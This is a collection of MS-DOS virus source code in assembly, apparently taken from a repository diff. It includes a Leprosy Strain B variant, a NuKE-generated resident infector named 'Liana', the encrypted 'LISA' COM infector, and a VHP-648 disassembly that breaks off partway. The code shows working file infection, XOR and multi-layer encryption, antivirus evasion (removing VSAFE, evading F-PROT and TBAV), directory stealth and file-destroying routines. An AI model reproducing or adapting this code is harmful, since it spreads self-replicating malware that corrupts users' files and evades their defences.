datestamp equ 24 ; Offset in DTA of file's date stamp
timestamp equ 22 ; Offset in DTA of file's time stamp
filename equ 30 ; Offset in DTA of ASCIIZ filename
attribute equ 21 ; Offset in DTA of file attribute
code segment 'code' ; Open code segment
assume cs:code,ds:code ; One segment for both code & data
org code_start ; Start code image after PSP
;---------------------------------------------------------------------
; All executable code is contained in boundaries of procedure "main".
; The following code, until the start of "virus_code", is the non-
; encrypted CMT portion of the code to load up the real program.
;---------------------------------------------------------------------
main proc near ; Code execution begins here
call encrypt_decrypt ; Decrypt the real virus code
jmp random_mutation ; Put the virus into action
db 0 ;; This line inserted by TBSI. If
;; McPhee uses the second technique
;; described in my speech, then it
;; will find the zero and consider
;; it to be the value it wants, even
;; though using a zero will make it
;; do absolutely NOTHING!
encrypt_val db 00h ; Hold value to encrypt by here
; ---------- Encrypt, save, and restore the virus code -----------
infect_file:
mov bx,handle ; Get the handle
push bx ; Save it on the stack
call encrypt_decrypt ; Encrypt most of the code
pop bx ; Get back the handle
nop ;; Added by TBSI to through of McPhee
mov cx,virus_size ; Total number of bytes to write
mov dx,code_start ; Buffer where code starts in memory
mov ah,40h ; DOS write-to-handle service
int 21h ; Write the virus code into the file
call encrypt_decrypt ; Restore the code as it was
ret ; Go back to where you came from
; --------------- Encrypt or decrypt the virus code ----------------
encrypt_decrypt:
mov bx,offset virus_code ; Get address to start encrypt/decrypt
xor_loop: ; Start cycle here
mov ah,[bx] ; Get the current byte
xor ah,encrypt_val ; Engage/disengage XOR scheme on it
mov [bx],ah ; Put it back where we got it
inc bx ; Move BX ahead a byte
nop ;; Added by TBSI to through of McPhee
cmp bx,offset virus_code+virus_size ; Are we at the end?
jle xor_loop ; If not, do another cycle
ret ; and go back where we came from
;-----------------------------------------------------------------------
; The rest of the code from here on remains encrypted until run-time,
; using a fundamental XOR technique that changes via CMT.
;-----------------------------------------------------------------------
virus_code:
;----------------------------------------------------------------------------
; All strings are kept here in the file, and automatically encrypted.
; Please don't be a lamer and change the strings and say you wrote a virus.
; Because of Cybernetic Mutation Technology(tm), the CRC of this file often
; changes, even when the strings stay the same.
;----------------------------------------------------------------------------
exe_filespec db "*.EXE",0
com_filespec db "*.COM",0
newdir db "..",0
fake_msg db cr,lf,"Program too big to fit in memory$"
virus_msg1 db cr,lf,tab,"ATTENTION! Your computer has been afflicted with$"
virus_msg2 db cr,lf,tab,"the incurable decay that is the fate wrought by$"
virus_msg3 db cr,lf,tab,"Leprosy Strain B, a virus employing Cybernetic$"
virus_msg4 db cr,lf,tab,"Mutation Technology(tm) and invented by PCM2 08/90.$"
compare_buf db 20 dup (?) ; Buffer to compare files in
files_found db ?
files_infected db ?
orig_time dw ?
orig_date dw ?
orig_attr dw ?
handle dw ?
success db ?
random_mutation: ; First decide if virus is to mutate
mov ah,2ch ; Set up DOS function to get time
int 21h
cmp encrypt_val,0 ; Is this a first-run virus copy?
je install_val ; If so, install whatever you get.
cmp dh,15 ; Is it less than 16 seconds?
jg find_extension ; If not, don't mutate this time
install_val:
cmp dl,0 ; Will we be encrypting using zero?
je random_mutation ; If so, get a new value.
mov encrypt_val,dl ; Otherwise, save the new value
find_extension: ; Locate file w/ valid extension
mov files_found,0 ; Count infected files found
mov files_infected,4 ; BX counts file infected so far
mov success,0
find_exe:
mov cx,00100111b ; Look for all flat file attributes
mov dx,offset exe_filespec ; Check for .EXE extension first
mov ah,4eh ; Call DOS find first service
int 21h
cmp ax,12h ; Are no files found?
je find_com ; If not, nothing more to do
call find_healthy ; Otherwise, try to find healthy .EXE
find_com:
mov cx,00100111b ; Look for all flat file attributes
mov dx,offset com_filespec ; Check for .COM extension now
mov ah,4eh ; Call DOS find first service
int 21h
cmp ax,12h ; Are no files found?
je chdir ; If not, step back a directory
call find_healthy ; Otherwise, try to find healthy .COM
chdir: ; Routine to step back one level
mov dx,offset newdir ; Load DX with address of pathname
mov ah,3bh ; Change directory DOS service
int 21h
dec files_infected ; This counts as infecting a file
jnz find_exe ; If we're still rolling, find another
jmp exit_virus ; Otherwise let's pack it up
find_healthy:
mov bx,dta ; Point BX to address of DTA
mov ax,[bx]+attribute ; Get the current file's attribute
mov orig_attr,ax ; Save it
mov ax,[bx]+timestamp ; Get the current file's time stamp
mov orig_time,ax ; Save it
mov ax,[bx]+datestamp ; Get the current file's data stamp
mov orig_date,ax ; Save it
mov dx,dta+filename ; Get the filename to change attribute
mov cx,0 ; Clear all attribute bytes
mov al,1 ; Set attribute sub-function
mov ah,43h ; Call DOS service to do it
int 21h
mov al,2 ; Set up to open handle for read/write
mov ah,3dh ; Open file handle DOS service
int 21h
mov handle,ax ; Save the file handle
mov bx,ax ; Transfer the handle to BX for read
mov cx,20 ; Read in the top 20 bytes of file
mov dx,offset compare_buf ; Use the small buffer up top
mov ah,3fh ; DOS read-from-handle service
int 21h
mov bx,offset compare_buf ; Adjust the encryption value
mov ah,encrypt_val ; for accurate comparison
mov [bx+6],ah
mov si,code_start ; One array to compare is this file
mov di,offset compare_buf ; The other array is the buffer
mov ax,ds ; Transfer the DS register...
mov es,ax ; ...to the ES register
cld
repe cmpsb ; Compare the buffer to the virus
jne healthy ; If different, the file is healthy!
call close_file ; Close it up otherwise
inc files_found ; Chalk up another fucked up file
continue_search:
mov ah,4fh ; Find next DOS function
int 21h ; Try to find another same type file
cmp ax,12h ; Are there any more files?
je no_more_found ; If not, get outta here
jmp find_healthy ; If so, try the process on this one!
no_more_found:
ret ; Go back to where we came from
healthy:
mov bx,handle ; Get the file handle
mov ah,3eh ; Close it for now
int 21h
mov ah,3dh ; Open it again, to reset it
mov dx,dta+filename
mov al,2
int 21h
mov handle,ax ; Save the handle again
call infect_file ; Infect the healthy file
call close_file ; Close down this operation
inc success ; Indicate we did something this time
dec files_infected ; Scratch off another file on agenda
jz exit_virus ; If we're through, terminate
jmp continue_search ; Otherwise, try another
ret
close_file:
mov bx,handle ; Get the file handle off the stack
mov cx,orig_time ; Get the date stamp
mov dx,orig_date ; Get the time stamp
mov al,1 ; Set file date/time sub-service
mov ah,57h ; Get/Set file date and time service
int 21h ; Call DOS
mov bx,handle
mov ah,3eh ; Close handle DOS service
int 21h
mov cx,orig_attr ; Get the file's original attribute
mov al,1 ; Instruct DOS to put it back there
mov dx,dta+filename ; Feed it the filename
mov ah,43h ; Call DOS
int 21h
ret
exit_virus:
cmp files_found,6 ; Are at least 6 files infected?
jl print_fake ; If not, keep a low profile
cmp success,0 ; Did we infect anything?
jg print_fake ; If so, cover it up
mov ah,09h ; Use DOS print string service
mov dx,offset virus_msg1 ; Load the address of the first line
int 21h ; Print it
mov dx,offset virus_msg2 ; Load the second line
int 21h ; (etc)
mov dx,offset virus_msg3
int 21h
mov dx,offset virus_msg4
int 21h
jmp terminate
print_fake:
mov ah,09h ; Use DOS to print fake error message
mov dx,offset fake_msg
int 21h
terminate:
mov ah,4ch ; DOS terminate process function
int 21h ; Call DOS to get out of this program
filler db 8 dup (90h) ; Pad out the file length to 666 bytes
main endp
code ends
end main

+473
View File
@@ -0,0 +1,473 @@
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ THiS iS a [NuKE] RaNDoMiC LiFe GeNeRaToR ViRuS. ³ [NuKE] PoWeR
;³ CReaTeD iS a N.R.L.G. PRoGRaM V0.66 BeTa TeST VeRSioN ³ [NuKE] WaReZ
;³ auToR: aLL [NuKE] MeMeBeRS ³ [NuKE] PoWeR
;³ [NuKE] THe ReaL PoWeR! ³ [NuKE] WaReZ
;³ NRLG WRiTTeR: AZRAEL (C) [NuKE] 1994 ³ [NuKE] PoWeR
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
; Liana Virus, created by Gehenna on 20 May 96!
.286
code segment
assume cs:code,ds:code
org 100h
start: CALL NEXT
NEXT:
mov di,sp ;take the stack pointer location
mov bp,ss:[di] ;take the "DELTA HANDLE" for my virus
sub bp,offset next ;subtract the large code off this code
;
;*******************************************************************
; #1 DECRYPT ROUTINE
;*******************************************************************
cmp byte ptr cs:[crypt],0b9h ;is the first runnig?
je crypt2 ;yes! not decrypt
;----------------------------------------------------------
mov cx,offset fin ;cx = large of virus
lea di,[offset crypt]+ bp ;di = first byte to decrypt
mov dx,1 ;dx = value for decrypt
;----------------------------------------------------------
deci: ;deci = fuck label!
;----------------------------------------------------------
ÿsub byte ptr [di],07ch
not byte ptr [di]
xor word ptr [di],03c11h
xor byte ptr [di],069h
xor byte ptr [di],0ch
xor byte ptr [di],0a2h
not word ptr [di]
add word ptr [di],05875h
inc word ptr [di]
add byte ptr [di],049h
add word ptr [di],0ecb8h
xor byte ptr [di],0f8h
add byte ptr [di],083h
not word ptr [di]
add byte ptr [di],02h
ÿinc di
inc di
;----------------------------------------------------------
jmp bye ;######## BYE BYE F-PROT ! ##########
mov ah,4ch
int 21h
bye: ;#### HEY FRIDRIK! IS ONLY A JMP!!###
;-----------------------------------------------------------
mov ah,0bh ;######### BYE BYE TBAV ! ##########
int 21h ;### (CANGE INT AT YOU PLEASURE) ###
;----------------------------------------------------------
loop deci ;repeat please!
;
;*****************************************************************
; #2 DECRYPT ROUTINE
;*****************************************************************
;
crypt: ;fuck label!
;
mov cx,offset fin ;cx = large of virus
lea di,[offset crypt2] + bp ;di = first byte to decrypt
;---------------------------------------------------------------
deci2: ;
xor byte ptr cs:[di],1 ;decrytion rutine
inc di ;very simple...
loop deci2 ;
;---------------------------------------------------------------
crypt2: ;fuck label!
;
MOV AX,0CACAH ;call to my resident interrup mask
INT 21H ;for chek "I'm is residet?"
CMP Bh,0CAH ;is equal to CACA?
JE PUM2 ;yes! jump to runnig program
call action
;*****************************************************************
; NRLG FUNCTIONS (SELECTABLE)
;*****************************************************************
ÿcall ANTI_V
;****************************************************************
; PROCESS TO REMAIN RESIDENT
;****************************************************************
mov ax,3521h
int 21h ;store the int 21 vectors
mov word ptr [bp+int21],bx ;in cs:int21
mov word ptr [bp+int21+2],es ;
;---------------------------------------------------------------
push cs ;
pop ax ;ax = my actual segment
dec ax ;dec my segment for look my MCB
mov es,ax ;
mov bx,es:[3] ;read the #3 byte of my MCB =total used memory
;---------------------------------------------------------------
push cs ;
pop es ;
sub bx,(offset fin - offset start + 15)/16 ;subtract the large of my virus
sub bx,17 + offset fin ;and 100H for the PSP total
mov ah,4ah ;used memory
int 21h ;put the new value to MCB
;---------------------------------------------------------------
mov bx,(offset fin - offset start + 15)/16 + 16 + offset fin
mov ah,48h ;
int 21h ;request the memory to fuck DOS!
;---------------------------------------------------------------
dec ax ;ax=new segment
mov es,ax ;ax-1= new segment MCB
mov byte ptr es:[1],8 ;put '8' in the segment
;--------------------------------------------------------------
inc ax ;
mov es,ax ;es = new segment
lea si,[bp + offset start] ;si = start of virus
mov di,100h ;di = 100H (psp position)
mov cx,offset fin - start ;cx = lag of virus
push cs ;
pop ds ;ds = cs
cld ;mov the code
rep movsb ;ds:si >> es:di
;--------------------------------------------------------------
mov dx,offset virus ;dx = new int21 handler
mov ax,2521h ;
push es ;
pop ds ;
int 21h ;set the vectors
;-------------------------------------------------------------
pum2: ;
;
mov ah,byte ptr [cs:bp + real] ;restore the 3
mov byte ptr cs:[100h],ah ;first bytes
mov ax,word ptr [cs:bp + real + 1] ;
mov word ptr cs:[101h],ax ;
;-------------------------------------------------------------
mov ax,100h ;
jmp ax ;jmp to execute
;
;*****************************************************************
;* HANDLER FOR THE INT 21H
;*****************************************************************
;
VIRUS: ;
;
cmp ah,4bh ;is a 4b function?
je REPRODUCCION ;yes! jump to reproduce !
cmp ah,11h
je dir
cmp ah,12h
je dir
dirsal:
cmp AX,0CACAH ;is ... a caca function? (resident chek)
jne a3 ;no! jump to a3
mov bh,0cah ;yes! put ca in bh
a3: ;
JMP dword ptr CS:[INT21] ;jmp to original int 21h
ret ;
make db 'N.R.L.G. by Gehenna'
dir:
jmp dir_s
;-------------------------------------------------------------
REPRODUCCION: ;
;
pushf ;put the register
pusha ;in the stack
push si ;
push di ;
push bp ;
push es ;
push ds ;
;-------------------------------------------------------------
push cs ;
pop ds ;
mov ax,3524H ;get the dos error control
int 21h ;interupt
mov word ptr error,es ;and put in cs:error
mov word ptr error+2,bx ;
mov ax,2524H ;change the dos error control
mov dx,offset all ;for my "trap mask"
int 21h ;
;-------------------------------------------------------------
pop ds ;
pop es ;restore the registers
pop bp ;
pop di ;
pop si ;
popa ;
popf ;
;-------------------------------------------------------------
pushf ;put the registers
pusha ;
push si ;HEY! AZRAEL IS CRAZY?
push di ;PUSH, POP, PUSH, POP
push bp ;PLEEEEEAAAAAASEEEEEEEEE
push es ;PURIFY THIS SHIT!
push ds ;
;-------------------------------------------------------------
mov ax,4300h ;
int 21h ;get the file
mov word ptr cs:[attrib],cx ;atributes
;-------------------------------------------------------------
mov ax,4301h ;le saco los atributos al
xor cx,cx ;file
int 21h ;
;-------------------------------------------------------------
mov ax,3d02h ;open the file
int 21h ;for read/write
mov bx,ax ;bx=handle
;-------------------------------------------------------------
mov ax,5700h ;
int 21h ;get the file date
mov word ptr cs:[hora],cx ;put the hour
mov word ptr cs:[dia],dx ;put the day
and cx,word ptr cs:[fecha] ;calculate the seconds
cmp cx,word ptr cs:[fecha] ;is ecual to 58? (DEDICATE TO N-POX)
jne seguir ;yes! the file is infected!
jmp cerrar ;
;------------------------------------------------------------
seguir: ;
mov ax,4202h ;move the pointer to end
call movedor ;of the file
;------------------------------------------------------------
push cs ;
pop ds ;
sub ax,3 ;calculate the
mov word ptr [cs:largo],ax ;jmp long
;-------------------------------------------------------------
mov ax,04200h ;move the pointer to
call movedor ;start of file
;----------------------------------------------------------
push cs ;
pop ds ;read the 3 first bytes
mov ah,3fh ;
mov cx,3 ;
lea dx,[cs:real] ;put the bytes in cs:[real]
int 21h ;
;----------------------------------------------------------
cmp word ptr cs:[real],05a4dh ;the 2 first bytes = 'MZ' ?
jne er1 ;yes! is a EXE... fuckkk!
;----------------------------------------------------------
jmp cerrar
er1:
;----------------------------------------------------------
mov ax,4200h ;move the pointer
call movedor ;to start fo file
;----------------------------------------------------------
push cs ;
pop ds ;
mov ah,40h ;
mov cx,1 ;write the JMP
lea dx,[cs:jump] ;instruccion in the
int 21h ;fist byte of the file
;----------------------------------------------------------
mov ah,40h ;write the value of jmp
mov cx,2 ;in the file
lea dx,[cs:largo] ;
int 21h ;
;----------------------------------------------------------
mov ax,04202h ;move the pointer to
call movedor ;end of file
;----------------------------------------------------------
push cs ;
pop ds ;move the code
push cs ;of my virus
pop es ;to cs:end+50
cld ;for encrypt
mov si,100h ;
mov di,offset fin + 50 ;
mov cx,offset fin - 100h ;
rep movsb ;
;----------------------------------------------------------
mov cx,offset fin
mov di,offset fin + 50 + (offset crypt2 - offset start) ;virus
enc: ;
xor byte ptr cs:[di],1 ;encrypt the virus
inc di ;code
loop enc ;
;---------------------------------------------------------
mov cx,offset fin
mov di,offset fin + 50 + (offset crypt - offset start) ;virus
mov dx,1
enc2: ;
ÿsub byte ptr [di],02h
not word ptr [di]
sub byte ptr [di],083h
xor byte ptr [di],0f8h
sub word ptr [di],0ecb8h
sub byte ptr [di],049h
dec word ptr [di]
sub word ptr [di],05875h
not word ptr [di]
xor byte ptr [di],0a2h
xor byte ptr [di],0ch
xor byte ptr [di],069h
xor word ptr [di],03c11h
not byte ptr [di]
add byte ptr [di],07ch
ÿinc di
inc di ;the virus code
loop enc2 ;
;--------------------------------------------
mov ah,40h ;
mov cx,offset fin - offset start ;copy the virus
mov dx,offset fin + 50 ;to end of file
int 21h ;
;----------------------------------------------------------
cerrar: ;
;restore the
mov ax,5701h ;date and time
mov cx,word ptr cs:[hora] ;file
mov dx,word ptr cs:[dia] ;
or cx,word ptr cs:[fecha] ;and mark the seconds
int 21h ;
;----------------------------------------------------------
mov ah,3eh ;
int 21h ;close the file
;----------------------------------------------------------
pop ds ;
pop es ;restore the
pop bp ;registers
pop di ;
pop si ;
popa ;
popf ;
;----------------------------------------------------------
pusha ;
;
mov ax,4301h ;restores the atributes
mov cx,word ptr cs:[attrib] ;of the file
int 21h ;
;
popa ;
;----------------------------------------------------------
pushf ;
pusha ; 8-( = f-prot
push si ;
push di ; 8-( = tbav
push bp ;
push es ; 8-) = I'm
push ds ;
;----------------------------------------------------------
mov ax,2524H ;
lea bx,error ;restore the
mov ds,bx ;errors handler
lea bx,error+2 ;
int 21h ;
;----------------------------------------------------------
pop ds ;
pop es ;
pop bp ;restore the
pop di ;resgisters
pop si ;
popa ;
popf ;
;----------------------------------------------------------
JMP A3 ;jmp to orig. INT 21
;
;**********************************************************
; SUBRUTINES AREA
;**********************************************************
;
movedor: ;
;
xor cx,cx ;use to move file pointer
xor dx,dx ;
int 21h ;
ret ;
;----------------------------------------------------------
all: ;
;
XOR AL,AL ;use to set
iret ;error flag
;***********************************************************
; DATA AREA
;***********************************************************
largo dw ?
jump db 0e9h
real db 0cdh,20h,0
hora dw ?
dia dw ?
attrib dw ?
int21 dd ?
error dd ?
ÿ;---------------------------------
action: ;Call label
MOV AH,2AH ;
INT 21H ;get date
CMP Dl,byte ptr cs:[action_dia+bp] ;is equal to my day?
JE cont ;nop! fuck ret
cmp byte ptr cs:[action_dia+bp],32 ;
jne no_day ;
cont: ;
cmp dh,byte ptr cs:[action_mes+bp] ;is equal to my month?
je set ;
cmp byte ptr cs:[action_mes+bp],13 ;
jne NO_DAY ;nop! fuck ret
set: ;
mov AH,9 ;yeah!!
MOV DX,OFFSET PAO ;print my text!
INT 21H ;now!
INT 20H ;an finsh te program
NO_DAY: ;label to incorrect date
ret ;return from call
;---------------------------------
ÿ
PAO:
DB 10,13,'Dedicated to Liana. 20 May 96','$'
;---------------------------------
ANTI_V: ;
MOV AX,0FA01H ;REMOVE VSAFE FROM MEMORY
MOV DX,5945H ;
INT 21H ;
ret ;
;---------------------------------
ÿ;*****************************************************
dir_s:
pushf
push cs
call a3 ;Get file Stats
test al,al ;Good FCB?
jnz no_good ;nope
push ax
push bx
push es
mov ah,51h ;Is this Undocmented? huh...
int 21h
mov es,bx
cmp bx,es:[16h]
jnz not_infected
mov bx,dx
mov al,[bx]
push ax
mov ah,2fh ;Get file DTA
int 21h
pop ax
inc al
jnz fcb_okay
add bx,7h
fcb_okay: mov ax,es:[bx+17h]
and ax,1fh ;UnMask Seconds Field
xor al,byte ptr cs:fechad
jnz not_infected
and byte ptr es:[bx+17h],0e0h
sub es:[bx+1dh],OFFSET FIN - OFFSET START ;Yes minus virus size
sbb es:[bx+1fh],ax
not_infected:pop es
pop bx
pop ax
no_good: iret
;********************************************************************
; THIS DIR STEALTH METOD IS EXTRAC FROM NUKEK INFO JOURNAL 4 & N-POX
;*********************************************************************
ÿaction_dia Db 014H ;day for the action
action_mes Db 05H ;month for the action
FECHA DW 01eH ;Secon for mark
FECHAd Db 01eH ;Secon for mark dir st
fin:
code ends
end start
File diff suppressed because it is too large Load Diff
File diff suppressed because it is too large Load Diff
File diff suppressed because it is too large Load Diff
File diff suppressed because it is too large Load Diff
+192
View File
@@ -0,0 +1,192 @@
; Virusname: LISA
; Origin: Sweden
; Author: Metal Militia
; Date: 24/12/1994
;
; This virus can't be found with any anti-virus program (of the below
; that is) SCAN/TB-SCAN/F-PROT/SOLOMON. This because of that it's totally
; new written.
;
; It's a non-resident, encrypted, .com infector that spread with the
; "dot-dot" method. No damage is made, and no message is shown, but
; inside the code you can find some love greetings to the flower in
; my heart, Lisa Olsson. This was written on the christmas eve, as a
; 'happy new year' greeting to her, then especially for '94, but
; also for all other coming years.
;
; I may continue on thisone and make more and better versions.
; PS!, to tasm this virus, write: tasm /m3 lisa.asm, then just
; link it to a .com file by writing: tlink /t lisa.obj.
Lisavirus segment
Assume CS:LisaVirus
Org 100h ; account for PSP
Start: db 0e9h ; jmp duh ; Jump to duh
dw 0
duh: call next
next: pop bp ; bp holds current location
sub bp, offset next ; calculate net change
jmp go_for_it
go_for_it:
call encrypt_decrypt ; encrypt/decrypt it..
jmp restore ; jump to the real "start".
write_virus:
mov word ptr [bp+crypt_val],30h ; Here we use the enc_value
call encrypt_decrypt ; call encrypt/decrypt
mov cx, eov - duh ; Write the virus
lea dx, [bp+duh]
mov ah, 40h
int 21h
call encrypt_decrypt ; call encrypt/decrypt (again, just like the text says)
ret ; ret(urn) to the "caller"
crypt_val dw 0 ; encryption value
encrypt_decrypt:
mov ax,word ptr [bp+crypt_val] ; the encrypt/decrypt rountine
lea si,[bp+encrypt_start]
mov cx,(eov-duh+1)/2
again:
xor word ptr [si],ax ; XOR's kicking it :)
inc si
inc si
loop again ; loop it all
ret ; ret(urn) to caller
encrypt_start: ; start of encryption
restore:
lea si, [bp+offset stuff] ; Restore the beginning
mov di, 100h ; (see stuff, the buffer)
push di
movsw
movsb
lea dx, [bp+offset dta] ; Set the DTA
call set_dta
mov ah,47h ; Get the current directory (will be restored lateron)
xor dl,dl
lea si,[bp+eov+2ch]
int 21h
findfirst:
mov ah, 4eh ; Find first
lea dx, [bp+masker] ; search for '*.COM',0
tryanother:
int 21h
jc chdir ; Quit on error
mov ax, 3D02h ; Open the file
lea dx, [bp+offset dta+30] ; File name is located in DTA
int 21h
xchg ax, bx ; instead on mov bx,ax.. one byte saved :)
mov ax,5700h ; Take the file's time
int 21h
push cx
push dx
mov cx, 3 ; Read in the first three bytes
lea dx, [bp+stuff]
mov ah, 3fh
int 21h
; Check if already infected
mov cx, word ptr [bp+stuff+1] ; jmp location
mov ax, word ptr [bp+dta+26]
add cx, eov - duh + 3 ; convert to filesize
cmp ax, cx ; if same, already infected
jz close ; so quit out of here
sub ax, 3 ; ax = filesize - 3
mov word ptr [bp+writebuffer], ax
xor al, al ; Go to the beginning
call f_ptr
mov cx, 3 ; Write three bytes
lea dx, [bp+e9]
mov ah, 40h
int 21h
mov al, 2 ; Go to the end
call f_ptr
mov ah,2ch
int 21h
mov word ptr [bp+crypt_val],dx
call write_virus
close:
pop dx
pop cx
mov ax,5701h ; Restore the files time
int 21h
mov ah, 3eh ; Close the file
int 21h
; Try infecting another file
mov ah, 4fh ; Find next, try to infect
jmp short tryanother ; another file.
chdir:
mov ah,3bh ; Change up one dir
lea dx,[bp+offset newdir]
int 21h
jc quit
jmp findfirst
quit:
real_quit:
lea dx,[bp+eov+2ch] ; Restore the DIR
mov ah,3bh
int 21h
fix_it:
mov dx, 80h ; Restore the DTA to the
; default
set_dta:
mov ah, 1ah ; Set the disk transfer
int 21h ; address
exit:
retn ; Return to org. program
f_ptr: mov ah, 42h
xor cx, cx
cwd ; equal to xor dx,dx or the
int 21h ; other style, sub dx,dx
retn
db 'love.girl.LISA.forever.666 ' ;
db '(c) Metal Militia / Immortal Riot '
db 'Sweden 24/12/93 ' ; the Date of finish, christmas eve
db 'Thunderclouds pass the sky, dreams & thoughts '
db 'goes thrue my mind.. winds of love, floods of '
db "hope, until the day, when you'll be mine!.... "
db 'Dedicated to Lisa Olsson who will always be my passion '
db 'my obsession and my infinite dream. All i ever wanted, '
db 'all i ever asked for. Happy new year, yours Metal..... '
newdir db '..',0 ; needed to move up one dir (dot-dot method)
masker db '*.com',0 ; filetype to infect, .com-files
greets db 'Greets to Raver and The Unforgiven/IR' ; greets to my
; friends
stuff db 0cdh, 20h, 0 ; original three bytes saved here
e9 db 0e9h ; the jmp
eov equ $ ; end of virus/encryption
writebuffer dw ? ; Scratch area for the JMP
; offset holding.
dta db 42 dup (?) ; the DTA thingy (42 dup)
LisaVirus ENDS
END Start
@@ -0,0 +1,331 @@
name Virus
title Disassembly listing of the VHP-648 virus
.radix 16
code segment
assume cs:code,ds:code
org 100
environ equ 2C
start:
jmp virus
message db 'Hello, world!$'
mov ah,9
mov dx,offset message
int 21
int 20
virus:
push cx ;Save CX
mov dx,offset data ;Restore original first instruction
modify equ $-2 ;The instruction above is changed
; before each contamination
cld
mov si,dx
add si,saveins-data ;Instruction saved there
mov di,offset start
mov cx,3 ;Move 3 bytes
rep movsb ;Do it
mov si,dx ;Keep SI pointed at data
mov ah,30 ;Get DOS version
int 21
cmp al,0 ;Less than 2.0?
jne skip1
jmp exit ;Exit if so
skip1:
push es ;Save ES
mov ah,2F ;Get current DTA in ES:BX
int 21
mov word ptr [si+0],bx ;dtaadr
mov word ptr [si+2],es
pop es ;Restore ES
mov dx,mydta-data
add dx,si
mov ah,1A ;Set DTA
int 21
push es ;Save ES & SI
push si
mov es,ds:[environ] ;Environment address
mov di,0
n_00015A: ;Search 'PATH=' in the environment
pop si ;Restore data offset in SI
push si
add si,pathstr-data
lodsb
mov cx,8000 ;Maximum 32K in environment
repne scasb ;Search for first letter ('P')
mov cx,4 ;4 letters in 'PATH'
n_000169:
lodsb ;Search for next char
scasb
jne n_00015A ;If not found, search for next 'P'
loop n_000169 ;Loop until done
pop si ;Restore SI & ES
pop es
mov [si+16],di ;Save 'PATH' offset in poffs
mov di,si
add di,fname-data ;Point SI & DI at '=' sign
mov bx,si ;Point BX at data area
add si,fname-data
mov di,si
jmp short n_0001BF
n_000185:
cmp word ptr [si+16],6C ;poffs
jne n_00018F
jmp olddta
n_00018F:
push ds
push si
mov ds,es:[environ]
mov di,si
mov si,es:[di+16] ;poffs
add di,fname-data
n_0001A1:
lodsb
cmp al,';'
je n_0001B0
cmp al,0
je n_0001AD
stosb
jmp n_0001A1
n_0001AD:
mov si,0
n_0001B0:
pop bx
pop ds
mov [bx+16],si ;poffs
cmp byte ptr [di-1],'\'
je n_0001BF
mov al,'\' ;Add '\' if not already present
stosb
n_0001BF:
mov [bx+18],di ;Save '=' offset in eqoffs
mov si,bx ;Restore data pointer in SI
add si,allcom-data
mov cx,6 ;6 bytes in ASCIIZ '*.COM'
rep movsb ;Move '*.COM' at fname
mov si,bx ;Restore SI
mov ah,4E ;Find first file
mov dx,fname-data
add dx,si
mov cx,11b ;Hidden, Read/Only or Normal files
int 21
jmp short n_0001E3
findnext:
mov ah,4F ;Find next file
int 21
n_0001E3:
jnc n_0001E7 ;If found, try to contaminate it
jmp n_000185 ;Otherwise search in another directory
n_0001E7:
mov ax,[si+75] ;Check file time
and al,11111b ; (the seconds, more exactly)
cmp al,62d/2 ;Are they 62?
;If so, file is already contains the virus, search for another:
je findnext
cmp [si+79],64000d ;Is file size greather than 64,000 bytes?
ja findnext ;If so, search for next file
cmp word ptr [si+79],10d ;Is file size less than 10 bytes?
jb findnext ;If so, search for next file
mov di,[si+18] ;eqoffs
push si ;Save SI
add si,namez-data ;Point SI at namez
n_000209:
lodsb
stosb
cmp al,0
jne n_000209
pop si ;Restore SI
mov ax,4300 ;Get file attributes
mov dx,fname-data
add dx,si
int 21
mov [si+8],cx ;Save them in fattrib
mov ax,4301 ;Set file attributes
;The next `db's are there because MASM can't assemble
; the instruction `and cx,0FFFE' correctly (the fool!):
db 081,0E1,0FE,0FF
; and cx,not 1 ;Turn off Read Only flag
mov dx,fname-data
add dx,si
int 21
mov ax,3D02 ;Open file with Read/Write access
mov dx,fname-data
add dx,si
int 21
jnc n_00023E
jmp oldattr ;Exit on error
n_00023E:
mov bx,ax ;Save file handle in BX
mov ax,5700 ;Get file date & time
int 21
mov [si+4],cx ;Save time in ftime
mov [si+6],dx ;Save date in fdate
mov ah,2C ;Get system time
int 21
and dh,111b ;Are seconds a multiple of 8?
;If so, destroy file (don't contaminate). Now this code is disabled.
jmp short n_000266 ;CHANGED. Was jnz here
;Destroy file by rewriting an illegal jmp as first instruction:
mov ah,40 ;Write to file handle
mov cx,5 ;Write 5 bytes
mov dx,si
add dx,bad_jmp-data ;Write THESE bytes
int 21 ;Do it
jmp short oldtime ;Exit
;Try to contaminate file:
;Read first instruction of the file (first 3 bytes) and save it in saveins:
n_000266:
mov ah,3F ;Read from file handle
mov cx,3 ;Read 3 bytes
mov dx,saveins-data ;Put them there
add dx,si
int 21
jc oldtime ;Exit on error
cmp ax,3 ;Are really 3 bytes read?
jne oldtime ;Exit if not
;Move file pointer to end of file:
mov ax,4202 ;LSEEK from end of file
mov cx,0 ;0 bytes from end
mov dx,0
int 21
jc oldtime ;Exit on error
mov cx,ax ;Get the value of file pointer
sub ax,3 ;Subtract 3 from it to get real code size
mov [si+14d],ax ;Save result in filloc
add cx,data-(virus-100)
mov di,si
sub di,data-modify ;A little self-modification
mov [di],cx
mov ah,40 ;Write to file handle
mov cx,enddata-virus ;Virus code length as bytes to be written
mov dx,si
sub dx,data-virus ;Now DX points at virus label
int 21
jc oldtime ;Exit on error
cmp ax,enddata-virus ;Are all bytes written?
jne oldtime ;Exit if not
mov ax,4200 ;LSEEK from the beginning of the file
mov cx,0 ;Just at the file beginning
mov dx,0
int 21
jc oldtime ;Exit on error
;Rewrite the first instruction of the file with a jump to the virus code:
mov ah,40 ;Write to file handle
mov cx,3 ;3 bytes to write
mov dx,si
add dx,newjmp-data ;Write THESE bytes
int 21
oldtime:
mov dx,[si+6] ;Restore file date
mov cx,[si+4] ; and time
;And these again are due to the MASM 5.0 foolness:
db 081,0E1,0E0,0FF
db 081,0C9,01F,000
; and cx,not 11111b
; or cx,11111b ;Set seconds to 62 (?!)
mov ax,5701 ;Set file date & time
int 21
mov ah,3E ;Close file handle
int 21
oldattr:
mov ax,4301 ;Set file attributes
mov cx,[si+8] ;They were saved in fattrib
mov dx,fname-data
add dx,si
int 21
olddta:
push ds ;Save DS
mov ah,1A ;Set DTA
mov dx,[si+0] ;Restore saved DTA
mov ds,[si+2]
int 21
pop ds ;Restore DS
exit:
pop cx ;Restore CX
